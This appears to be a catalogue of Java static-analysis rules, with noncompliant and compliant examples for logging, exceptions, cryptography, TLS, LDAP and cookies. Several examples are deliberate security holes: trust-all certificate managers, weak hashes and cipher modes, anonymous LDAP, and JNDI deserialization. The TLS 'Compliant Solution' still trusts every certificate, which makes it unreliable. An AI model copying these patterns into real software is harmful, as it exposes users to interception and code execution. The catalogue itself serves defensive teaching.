  • Sanitize all user inputs before writing them in the logs. This includes checking its size, content, encoding, syntax, etc... As for any user input, validate using whitelists whenever possible. Enabling users to write what they want in your logs can have many impacts. It could for example use all your storage space or compromise your log indexing service.
  • Log enough information to monitor suspicious activities and evaluate the impact an attacker might have on your systems. Register events such as failed logins, successful logins, server side input validation failures, access denials and any important transaction.
  • Monitor the logs for any suspicious activity.

Sensitive Code Example

This rule supports the following libraries: Log4J, java.util.logging and Logback

// === Log4J 2 ===
import org.apache.logging.log4j.core.config.builder.api.ConfigurationBuilderFactory;
import org.apache.logging.log4j.Level;
import org.apache.logging.log4j.core.*;
import org.apache.logging.log4j.core.config.*;

// Sensitive: creating a new custom configuration
abstract class CustomConfigFactory extends ConfigurationFactory {
    // ...
}

class A {
    void foo(Configuration config, LoggerContext context, java.util.Map<String, Level> levelMap,
            Appender appender, java.io.InputStream stream, java.net.URI uri,
            java.io.File file, java.net.URL url, String source, ClassLoader loader, Level level, Filter filter)
            throws java.io.IOException {
        // Creating a new custom configuration
        ConfigurationBuilderFactory.newConfigurationBuilder();  // Sensitive

        // Setting loggers level can result in writing sensitive information in production
        Configurator.setAllLevels("com.example", Level.DEBUG);  // Sensitive
        Configurator.setLevel("com.example", Level.DEBUG);  // Sensitive
        Configurator.setLevel(levelMap);  // Sensitive
        Configurator.setRootLevel(Level.DEBUG);  // Sensitive

        config.addAppender(appender); // Sensitive: this modifies the configuration

        LoggerConfig loggerConfig = config.getRootLogger();
        loggerConfig.addAppender(appender, level, filter); // Sensitive
        loggerConfig.setLevel(level); // Sensitive

        context.setConfigLocation(uri); // Sensitive

        // Load the configuration from a stream or file
        new ConfigurationSource(stream);  // Sensitive
        new ConfigurationSource(stream, file);  // Sensitive
        new ConfigurationSource(stream, url);  // Sensitive
        ConfigurationSource.fromResource(source, loader);  // Sensitive
        ConfigurationSource.fromUri(uri);  // Sensitive
    }
}



// === java.util.logging ===
import java.util.logging.*;

class M {
    void foo(LogManager logManager, Logger logger, java.io.InputStream is, Handler handler)
            throws SecurityException, java.io.IOException {
        logManager.readConfiguration(is); // Sensitive

        logger.setLevel(Level.FINEST); // Sensitive
        logger.addHandler(handler); // Sensitive
    }
}
// === Logback ===
import ch.qos.logback.classic.util.ContextInitializer;
import ch.qos.logback.core.Appender;
import ch.qos.logback.classic.joran.JoranConfigurator;
import ch.qos.logback.classic.spi.ILoggingEvent;
import ch.qos.logback.classic.*;

class M {
    void foo(Logger logger, Appender<ILoggingEvent> fileAppender) {
        System.setProperty(ContextInitializer.CONFIG_FILE_PROPERTY, "config.xml"); // Sensitive
        JoranConfigurator configurator = new JoranConfigurator(); // Sensitive

        logger.addAppender(fileAppender); // Sensitive
        logger.setLevel(Level.DEBUG); // Sensitive
    }
}

Exceptions

Log4J 1.x is not covered as it has reached end of life.

See

java:S1160

Using checked exceptions forces method callers to deal with errors, either by propagating them or by handling them. Throwing exceptions makes them fully part of the API of the method.

But to keep the complexity for callers reasonable, methods should not throw more than one kind of checked exception.

Noncompliant Code Example

public void delete() throws IOException, SQLException {      // Noncompliant
  /* ... */
}

Compliant Solution

public void delete() throws SomeApplicationLevelException {
  /* ... */
}

Exceptions

Overriding methods are not checked by this rule and are allowed to throw several checked exceptions.

java:S2251

A for loop with a counter that moves in the wrong direction is not an infinite loop. Because of wraparound, the loop will eventually reach its stop condition, but in doing so, it will run many, many more times than anticipated, potentially causing unexpected behavior.

Noncompliant Code Example

public void doSomething(String [] strings) {
  for (int i = 0; i < strings.length; i--) { // Noncompliant;
    String string = strings[i];  // ArrayIndexOutOfBoundsException when i reaches -1
    //...
  }

Compliant Solution

public void doSomething(String [] strings) {
  for (int i = 0; i < strings.length; i++) {
    String string = strings[i];
    //...
  }

See

java:S1161

Using the @Override annotation is useful for two reasons :

  • It elicits a warning from the compiler if the annotated method doesn't actually override anything, as in the case of a misspelling.
  • It improves the readability of the source code by making it obvious that methods are overridden.

Noncompliant Code Example

class ParentClass {
  public boolean doSomething(){...}
}
class FirstChildClass extends ParentClass {
  public boolean doSomething(){...}  // Noncompliant
}

Compliant Solution

class ParentClass {
  public boolean doSomething(){...}
}
class FirstChildClass extends ParentClass {
  @Override
  public boolean doSomething(){...}  // Compliant
}

Exceptions

This rule is relaxed when overriding a method from the Object class like toString(), hashCode(), ...

java:S2130

Rather than creating a boxed primitive from a String to extract the primitive value, use the relevant parse method instead. It will be clearer and more efficient.

Noncompliant Code Example

String myNum = "12.2";

float f = (new Float(myNum)).floatValue();  // Noncompliant; creates & discards a Float

Compliant Solution

String myNum = "12.2";

float f = Float.parseFloat(myNum);
java:S2250

The time complexity of method calls on collections is not always obvious. For instance, for most collections the size() method takes constant time, but the time required to execute ConcurrentLinkedQueue.size() is O(n), i.e. directly proportional to the number of elements in the collection. When the collection is large, this could therefore be an expensive operation.

This rule raises an issue when the following O(n) methods are called outside of constructors on class fields:

  • ArrayList
    • contains
    • remove
  • LinkedList
    • get
    • contains
  • ConcurrentLinkedQueue
    • size
    • contains
  • ConcurrentLinkedDeque
    • size
    • contains
  • CopyOnWriteArrayList
    • add
    • contains
    • remove
  • CopyOnWriteArraySet
    • add
    • contains
    • remove

Noncompliant Code Example

ConcurrentLinkedQueue queue = new ConcurrentLinkedQueue();
//...
log.info("Queue contains " + queue.size() + " elements");  // Noncompliant
java:S4790

Cryptographic hash algorithms such as MD2, MD4, MD5, MD6, HAVAL-128, HMAC-MD5, DSA (which uses SHA-1), RIPEMD, RIPEMD-128, RIPEMD-160, HMACRIPEMD160 and SHA-1 are no longer considered secure, because it is too easy to create hash collisions with them (little computational effort is enough to find two or more different inputs that produces the same hash).

Ask Yourself Whether

The hashed value is used in a security context like:

  • User-password storage.
  • Security token generation (used to confirm e-mail when registering on a website, reset password, etc ...).
  • To compute some message integrity.

There is a risk if you answered yes to any of those questions.

Recommended Secure Coding Practices

Safer alternatives, such as SHA-256, SHA-512, SHA-3 or bcrypt are recommended, and for password hashing, it's even better to use algorithms that not compute too "quickly", like bcrypt instead of SHA-256, because it slows brute force and dictionary based attacks.

Sensitive Code Example

MessageDigest md = MessageDigest.getInstance("SHA1");  // Sensitive

Compliant Solution

MessageDigest md = MessageDigest.getInstance("SHA-256"); // Compliant

See

java:S1162

The purpose of checked exceptions is to ensure that errors will be dealt with, either by propagating them or by handling them, but some believe that checked exceptions negatively impact the readability of source code, by spreading this error handling/propagation logic everywhere.

This rule verifies that no method throws a new checked exception.

Noncompliant Code Example

public void myMethod1() throws CheckedException {
  ...
  throw new CheckedException(message);   // Noncompliant
  ...
  throw new IllegalArgumentException(message); // Compliant; IllegalArgumentException is unchecked
}

public void myMethod2() throws CheckedException {  // Compliant; propagation allowed
  myMethod1();
}
java:S818

Using upper case literal suffixes removes the potential ambiguity between "1" (digit 1) and "l" (letter el) for declaring literals.

Noncompliant Code Example

long long1 = 1l; // Noncompliant
float float1 = 1.0f; // Noncompliant
double double1 = 1.0d; // Noncompliant

Compliant Solution

long long1 = 1L;
float float1 = 1.0F;
double double1 = 1.0D;

See

java:S2139

In applications where the accepted practice is to log an Exception and then rethrow it, you end up with miles-long logs that contain multiple instances of the same exception. In multi-threaded applications debugging this type of log can be particularly hellish because messages from other threads will be interwoven with the repetitions of the logged-and-thrown Exception. Instead, exceptions should be either logged or rethrown, not both.

Noncompliant Code Example

catch (SQLException e) {
  ...
  LOGGER.log(Level.ERROR,  contextInfo, e);
  throw new MySQLException(contextInfo, e);
}

Compliant Solution

catch (SQLException e) {
  ...
  throw new MySQLException(contextInfo, e);
}

or

catch (SQLException e) {
  ...
  LOGGER.log(Level.ERROR,  contextInfo, e);
  // handle exception...
}
java:S5527

To establish a SSL/TLS connection not vulnerable to man-in-the-middle attacks, it's essential to make sure the server presents the right certificate.

The certificate's hostname-specific data should match the server hostname.

It's not recommended to re-invent the wheel by implementing custom hostname verification.

TLS/SSL libraries provide built-in hostname verification functions that should be used.

This rule raises an issue when:

  • HostnameVerifier.verify() method always return true
  • a JavaMail's javax.mail.Session is created with a Properties object having no mail.smtp.ssl.checkserveridentity or mail.smtps.ssl.checkserveridentity not configured to true
  • a Apache Common Emails's org.apache.commons.mail.SimpleEmail is used with setSSLOnConnect(true) or setStartTLSEnabled(true) or setStartTLSRequired(true) without a call to setSSLCheckServerIdentity(true)

Noncompliant Code Example

SSLContext sslcontext = SSLContext.getInstance( "TLS" );
sslcontext.init(null, new TrustManager[]{new X509TrustManager() {
  public void checkClientTrusted(X509Certificate[] arg0, String arg1) throws CertificateException {}
  public void checkServerTrusted(X509Certificate[] arg0, String arg1) throws CertificateException {}
  public X509Certificate[] getAcceptedIssuers() { return new X509Certificate[0]; }

}}, new java.security.SecureRandom());

Client client = ClientBuilder.newBuilder().sslContext(sslcontext).hostnameVerifier(new HostnameVerifier() {
  @Override
  public boolean verify(String requestedHost, SSLSession remoteServerSession) {
    return true;  // Noncompliant
  }
}).build();

SimpleEmail example:

Email email = new SimpleEmail();
email.setSmtpPort(465);
email.setAuthenticator(new DefaultAuthenticator(username, password));
email.setSSLOnConnect(true); // Noncompliant; setSSLCheckServerIdentity(true) should also be called before sending the email
email.send();

JavaMail's example:

Properties props = new Properties();
props.put("mail.smtp.host", "smtp.gmail.com");
props.put("mail.smtp.socketFactory.port", "465");
props.put("mail.smtp.socketFactory.class", "javax.net.ssl.SSLSocketFactory"); // Noncompliant; Session is created without having "mail.smtp.ssl.checkserveridentity" set to true
props.put("mail.smtp.auth", "true");
props.put("mail.smtp.port", "465");
Session session = Session.getDefaultInstance(props, new javax.mail.Authenticator() {
  protected PasswordAuthentication getPasswordAuthentication() {
    return new PasswordAuthentication("username@gmail.com", "password");
  }
});

Compliant Solution

SSLContext sslcontext = SSLContext.getInstance( "TLSv1.2" );
sslcontext.init(null, new TrustManager[]{new X509TrustManager() {
  @Override
  public void checkClientTrusted(X509Certificate[] arg0, String arg1) throws CertificateException {}
  @Override
  public void checkServerTrusted(X509Certificate[] arg0, String arg1) throws CertificateException {}
  @Override
  public X509Certificate[] getAcceptedIssuers() { return new X509Certificate[0]; }

}}, new java.security.SecureRandom());

Client client = ClientBuilder.newBuilder().sslContext(sslcontext).hostnameVerifier(new HostnameVerifier() {
  @Override
  public boolean verify(String requestedHost, SSLSession remoteServerSession) {
    return requestedHost.equalsIgnoreCase(remoteServerSession.getPeerHost()); // Compliant
  }
}).build();

SimpleEmail example:

Email email = new SimpleEmail();
email.setSmtpPort(465);
email.setAuthenticator(new DefaultAuthenticator(username, password));
email.setSSLOnConnect(true);
email.setSSLCheckServerIdentity(true); // Compliant
email.send();

JavaMail's example:

Properties props = new Properties();
props.put("mail.smtp.host", "smtp.gmail.com");
props.put("mail.smtp.socketFactory.port", "465");
props.put("mail.smtp.socketFactory.class", "javax.net.ssl.SSLSocketFactory");
props.put("mail.smtp.auth", "true");
props.put("mail.smtp.port", "465");
props.put("mail.smtp.ssl.checkserveridentity", true); // Compliant
Session session = Session.getDefaultInstance(props, new javax.mail.Authenticator() {
  protected PasswordAuthentication getPasswordAuthentication() {
    return new PasswordAuthentication("username@gmail.com", "password");
  }
});

See

java:S4432

The Advanced Encryption Standard (AES) encryption algorithm can be used with various modes. Some combinations are not secured:

  • Electronic Codebook (ECB) mode: Under a given key, any given plaintext block always gets encrypted to the same ciphertext block. Thus, it does not hide data patterns well. In some senses, it doesn't provide serious message confidentiality, and it is not recommended for use in cryptographic protocols at all.
  • Cipher Block Chaining (CBC) with PKCS#5 padding (or PKCS#7) is susceptible to padding oracle attacks.

In both cases, Galois/Counter Mode (GCM) with no padding should be preferred.

This rule raises an issue when a Cipher instance is created with either ECB or CBC/PKCS5Padding mode.

Noncompliant Code Example

Cipher c1 = Cipher.getInstance("AES/ECB/NoPadding"); // Noncompliant
Cipher c2 = Cipher.getInstance("AES/CBC/PKCS5Padding"); // Noncompliant

Compliant Solution

Cipher c = Cipher.getInstance("AES/GCM/NoPadding");

See

Deprecated

This rule is deprecated; use S5542 instead.

java:S2253

This rule allows banning certain methods.

Noncompliant Code Example

Given parameters:

  • className:java.lang.String
  • methodName: replace
  • argumentTypes: java.lang.CharSequence, java.lang.CharSequence
String name;
name.replace("A","a");  // Noncompliant
java:S1163

Throwing an exception from within a finally block will mask any exception which was previously thrown in the try or catch block, and the masked's exception message and stack trace will be lost.

Noncompliant Code Example

try {
  /* some work which end up throwing an exception */
  throw new IllegalArgumentException();
} finally {
  /* clean up */
  throw new RuntimeException();       // Noncompliant; masks the IllegalArgumentException
}

Compliant Solution

try {
  /* some work which end up throwing an exception */
  throw new IllegalArgumentException();
} finally {
  /* clean up */
}

See

  • CERT, ERR05-J. - Do not let checked exceptions escape from a finally block
java:S2252

If a for loop's condition is false before the first loop iteration, the loop will never be executed. Such loops are almost always bugs, particularly when the initial value and stop conditions are hard-coded.

Noncompliant Code Example

for (int i = 10; i < 10; i++) {  // Noncompliant
  // ...
java:S4433

An LDAP client authenticates to an LDAP server with a "bind request" which provides, among other, a simple authentication method.

Simple authentication in LDAP can be used with three different mechanisms:

  • Anonymous Authentication Mechanism by performing a bind request with a username and password value of zero length.
  • Unauthenticated Authentication Mechanism by performing a bind request with a password value of zero length.
  • Name/Password Authentication Mechanism by performing a bind request with a password value of non-zero length.

Anonymous binds and unauthenticated binds allow access to information in the LDAP directory without providing a password, their use is therefore strongly discouraged.

Noncompliant Code Example

This rule raises an issue when an LDAP connection is created with Context.SECURITY_AUTHENTICATION set to "none".

// Set up the environment for creating the initial context
Hashtable<String, Object> env = new Hashtable<String, Object>();
env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.ldap.LdapCtxFactory");
env.put(Context.PROVIDER_URL, "ldap://localhost:389/o=JNDITutorial");

// Use anonymous authentication
env.put(Context.SECURITY_AUTHENTICATION, "none"); // Noncompliant

// Create the initial context
DirContext ctx = new InitialDirContext(env);

Compliant Solution

// Set up the environment for creating the initial context
Hashtable<String, Object> env = new Hashtable<String, Object>();
env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.ldap.LdapCtxFactory");
env.put(Context.PROVIDER_URL, "ldap://localhost:389/o=JNDITutorial");

// Use simple authentication
env.put(Context.SECURITY_AUTHENTICATION, "simple");
env.put(Context.SECURITY_PRINCIPAL, "cn=S. User, ou=NewHires, o=JNDITutorial");
env.put(Context.SECURITY_CREDENTIALS, getLDAPPassword());

// Create the initial context
DirContext ctx = new InitialDirContext(env);

See

java:S2131

"Boxing" is the process of putting a primitive value into a primitive-wrapper object. When that's done purely to use the wrapper class' toString method, it's a waste of memory and cycles because those methods are static, and can therefore be used without a class instance. Similarly, using the static method valueOf in the primitive-wrapper classes with a non-String argument should be avoided.

Noncompliant Code Example

int myInt = 4;
String myIntString = (new Integer(myInt)).toString(); // Noncompliant; creates & discards an Integer object
myIntString = Integer.valueOf(myInt).toString(); // Noncompliant

Compliant Solution

int myInt = 4;
String myIntString = Integer.toString(myInt);
java:S2255

Using cookies is security-sensitive. It has led in the past to the following vulnerabilities:

Attackers can use widely-available tools to read cookies. Any sensitive information they may contain will be exposed.

This rule flags code that writes cookies.

Ask Yourself Whether

  • sensitive information is stored inside the cookie.

You are at risk if you answered yes to this question.

Recommended Secure Coding Practices

Cookies should only be used to manage the user session. The best practice is to keep all user-related information server-side and link them to the user session, never sending them to the client. In a very few corner cases, cookies can be used for non-sensitive information that need to live longer than the user session.

Do not try to encode sensitive information in a non human-readable format before writing them in a cookie. The encoding can be reverted and the original information will be exposed.

Using cookies only for session IDs doesn't make them secure. Follow OWASP best practices when you configure your cookies.

As a side note, every information read from a cookie should be Sanitized.

Sensitive Code Example

// === javax.servlet ===
import javax.servlet.http.Cookie;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpServletRequest;

public class JavaxServlet {
    void aServiceMethodSettingCookie(HttpServletRequest request, HttpServletResponse response, String acctID) {
        Cookie cookie = new Cookie("userAccountID", acctID);  // Sensitive
        response.addCookie(cookie);  // Sensitive
    }
}
// === javax.ws ===
import java.util.Date;
import javax.ws.rs.core.Cookie;
import javax.ws.rs.core.NewCookie;

class JavaxWs {
    void jaxRsCookie(String comment, int maxAge, boolean secure, Date expiry, boolean httpOnly, String name,
            String value, String path, String domain, int version) {
        Cookie cookie= new Cookie("name", "value");  // Sensitive

        new NewCookie(cookie);  // Sensitive
        new NewCookie(cookie, comment, maxAge, secure);  // Sensitive
        new NewCookie(cookie, comment, maxAge, expiry, secure, httpOnly);  // Sensitive
        new NewCookie(name, value);  // Sensitive
        new NewCookie(name, value, path, domain, version, comment, maxAge, secure);  // Sensitive
        new NewCookie(name, value, path, domain, version, comment, maxAge, expiry, secure, httpOnly);  // Sensitive
        new NewCookie(name, value, path, domain, comment, maxAge, secure);  // Sensitive
        new NewCookie(name, value, path, domain, comment, maxAge, secure, httpOnly);  // Sensitive
    }
}
// === java.net ===
import java.net.HttpCookie;

class JavaNet {
    void httpCookie(HttpCookie hc) {
        HttpCookie cookie = new HttpCookie("name", "value");  // Sensitive
        cookie.setValue("value");  // Sensitive
    }
}
// === apache.shiro ===
import org.apache.shiro.web.servlet.SimpleCookie;

class ApacheShiro {

    void shiroCookie(SimpleCookie cookie) {
        SimpleCookie sc = new SimpleCookie(cookie);  // Sensitive
        cookie.setValue("value");  // Sensitive
    }
}
// === Play ===
import play.mvc.Http.Cookie;
import play.mvc.Http.CookieBuilder;


class Play {
    void playCookie() {
        CookieBuilder builder = Cookie.builder("name", "value");  // Sensitive
        builder.withName("name")
          .withValue("value")  // Sensitive
          .build();

    }
}

See

Deprecated

This rule is deprecated, and will eventually be removed.

java:S4551

Testing equality of an enum value with equals is perfectly valid because an enum is an Object and every Java developer knows "==" should not be used to compare the content of an Object. At the same time, using "==" on enums:

- provides the same expected comparison (content) as equals

- is more null-safe than equals()

- provides compile-time (static) checking rather than runtime checking

For these reasons, use of "==" should be preferred to equals.

Noncompliant Code Example

public enum Fruit {
   APPLE, BANANA, GRAPE
}

public enum Cake {
  LEMON_TART, CHEESE_CAKE
}

public boolean isFruitGrape(Fruit candidateFruit) {
  return candidateFruit.equals(Fruit.GRAPE); // Noncompliant; this will raise an NPE if candidateFruit is NULL
}

public boolean isFruitGrape(Cake candidateFruit) {
  return candidateFruit.equals(Fruit.GRAPE); // Noncompliant; always returns false
}

Compliant Solution

public boolean isFruitGrape(Fruit candidateFruit) {
  return candidateFruit == Fruit.GRAPE; // Compliant; there is only one instance of Fruit.GRAPE - if candidateFruit is a GRAPE it will have the same reference as Fruit.GRAPE
}

public boolean isFruitGrape(Cake candidateFruit) {
  return candidateFruit == Fruit.GRAPE; // Compliant; compilation time failure
}

See

java:S1165

Exceptions are meant to represent the application's state at the point at which an error occurred.

Making all fields in an Exception class final ensures that this state:

  • Will be fully defined at the same time the Exception is instantiated.
  • Won't be updated or corrupted by a questionable error handler.

This will enable developers to quickly understand what went wrong.

Noncompliant Code Example

public class MyException extends Exception {

  private int status;                               // Noncompliant

  public MyException(String message) {
    super(message);
  }

  public int getStatus() {
    return status;
  }

  public void setStatus(int status) {
    this.status = status;
  }

}

Compliant Solution

public class MyException extends Exception {

  private final int status;

  public MyException(String message, int status) {
    super(message);
    this.status = status;
  }

  public int getStatus() {
    return status;
  }

}
java:S2134

According to the Java API documentation:

There are two ways to create a new thread of execution. One is to declare a class to be a subclass of Thread. This subclass should override the run method of class Thread. An instance of the subclass can then be allocated and started...

The other way to create a thread is to declare a class that implements the Runnable interface. That class then implements the run method. An instance of the class can then be allocated, passed as an argument when creating Thread, and started.

By definition, extending the Thread class without overriding the run method doesn't make sense, and implies that the contract of the Thread class is not well understood.

Noncompliant Code Example

public class MyRunner extends Thread { // Noncompliant; run method not overridden

  public void doSometing() {...}
}

Exceptions

If run() is not overridden in a class extending Thread, it means that starting the thread will actually call Thread.run(). However, Thread.run() does nothing if it has not been fed with a target Runnable. The rule consequently ignore classes extending Thread if they are calling, in their constructors, the super(...) constructor with a proper Runnable target.

class MyThread extends Thread { // Compliant - calling super constructor with a Runnable
  MyThread(Runnable target) {
    super(target); // calling super constructor with a Runnable, which will be used for when Thread.run() is executed
    // ...
  }
}
java:S1166

When handling a caught exception, the original exception's message and stack trace should be logged or passed forward.

Noncompliant Code Example

try {
  /* ... */
} catch (Exception e) {   // Noncompliant - exception is lost
  LOGGER.info("context");
}

try {
  /* ... */
} catch (Exception e) {  // Noncompliant - exception is lost (only message is preserved)
  LOGGER.info(e.getMessage());
}

try {
  /* ... */
} catch (Exception e) {  // Noncompliant - original exception is lost
  throw new RuntimeException("context");
}

Compliant Solution

try {
  /* ... */
} catch (Exception e) {
  LOGGER.info(e);  // exception is logged
}

try {
  /* ... */
} catch (Exception e) {
  throw new RuntimeException(e);   // exception stack trace is propagated
}

try {
  /* ... */
} catch (RuntimeException e) {
  doSomething();
  throw e;  // original exception passed forward
} catch (Exception e) {
  throw new RuntimeException(e);  // Conversion into unchecked exception is also allowed
}

Exceptions

InterruptedException, NumberFormatException, DateTimeParseException, ParseException and MalformedURLException exceptions are arguably used to indicate nonexceptional outcomes. Similarly, handling NoSuchMethodException is often required when dealing with the Java reflection API.

Because they are part of Java, developers have no choice but to deal with them. This rule does not verify that those particular exceptions are correctly handled.

int myInteger;
try {
  myInteger = Integer.parseInt(myString);
} catch (NumberFormatException e) {
  // It is perfectly acceptable to not handle "e" here
  myInteger = 0;
}

Furthermore, no issue will be raised if the exception message is logged with additional information, as it shows that the developer added some context to the error message.

try {
  /* ... */
} catch (Exception e) {
  String message = "Exception raised while authenticating user: " + e.getMessage();
  LOGGER.warn(message); // Compliant - exception message logged with some contextual information
}

See

java:S2254

According to the Oracle Java API, the HttpServletRequest.getRequestedSessionId() method:

Returns the session ID specified by the client. This may not be the same as the ID of the current valid session for this request. If the client did not specify a session ID, this method returns null.

The session ID it returns is either transmitted in a cookie or a URL parameter so by definition, nothing prevents the end-user from manually updating the value of this session ID in the HTTP request.

Here is an example of a updated HTTP header:

GET /pageSomeWhere HTTP/1.1
Host: webSite.com
User-Agent: Mozilla/5.0
Cookie: JSESSIONID=Hacked_Session_Value'''">

Due to the ability of the end-user to manually change the value, the session ID in the request should only be used by a servlet container (E.G. Tomcat or Jetty) to see if the value matches the ID of an an existing session. If it does not, the user should be considered unauthenticated. Moreover, this session ID should never be logged to prevent hijacking of active sessions.

Noncompliant Code Example

if(isActiveSession(request.getRequestedSessionId()) ){
  ...
}

See

java:S2133

Creating an object for the sole purpose of calling getClass on it is a waste of memory and cycles. Instead, simply use the class' .class property.

Noncompliant Code Example

MyObject myOb = new MyObject();  // Noncompliant
Class c = myOb.getClass();

Compliant Solution

Class c = MyObject.class;
java:S3346

Since assert statements aren't executed by default (they must be enabled with JVM flags) developers should never rely on their execution the evaluation of any logic required for correct program function.

Noncompliant Code Example

assert myList.remove(myList.get(0));  // Noncompliant

Compliant Solution

boolean removed = myList.remove(myList.get(0));
assert removed;

See

  • CERT, EXP06-J. - Expressions used in assertions must not produce side effects
java:S2257

The use of a non-standard algorithm is dangerous because a determined attacker may be able to break the algorithm and compromise whatever data has been protected. Standard algorithms like SHA-256, SHA-384, SHA-512, ... should be used instead.

This rule tracks creation of java.security.MessageDigest subclasses.

Recommended Secure Coding Practices

  • use a standard algorithm instead of creating a custom one.

Sensitive Code Example

MyCryptographicAlgorithm extends MessageDigest {
  ...
}

See

java:S4434

JNDI supports the deserialization of objects from LDAP directories, which is fundamentally insecure and can lead to remote code execution.

This rule raises an issue when an LDAP search query is executed with SearchControls configured to allow deserialization.

Noncompliant Code Example

DirContext ctx = new InitialDirContext();
// ...
ctx.search(query, filter,
        new SearchControls(scope, countLimit, timeLimit, attributes,
            true, // Noncompliant; allows deserialization
            deref));

Compliant Solution

DirContext ctx = new InitialDirContext();
// ...
ctx.search(query, filter,
        new SearchControls(scope, countLimit, timeLimit, attributes,
            false,
            deref));

See